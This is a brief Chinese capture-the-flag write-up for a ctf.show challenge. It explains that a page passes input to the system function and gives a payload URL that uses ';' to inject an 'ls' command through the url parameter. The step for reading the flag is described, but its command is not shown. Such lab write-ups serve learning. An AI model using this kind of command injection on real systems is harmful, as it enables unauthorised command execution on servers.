打开靶机
查看页面信息
可以看到有一个system函数
在Linux中可以使用“；”隔离不同的语句
payload如下
https://5105c8b6-83aa-4993-91bf-296eb5983ef2.chall.ctf.show/?url=5105c8b6-83aa-4993-91bf-296eb5983ef2.chall.ctf.show;ls;ping www
使用同样的方法查看flag文件内容
payload
成功拿到flag
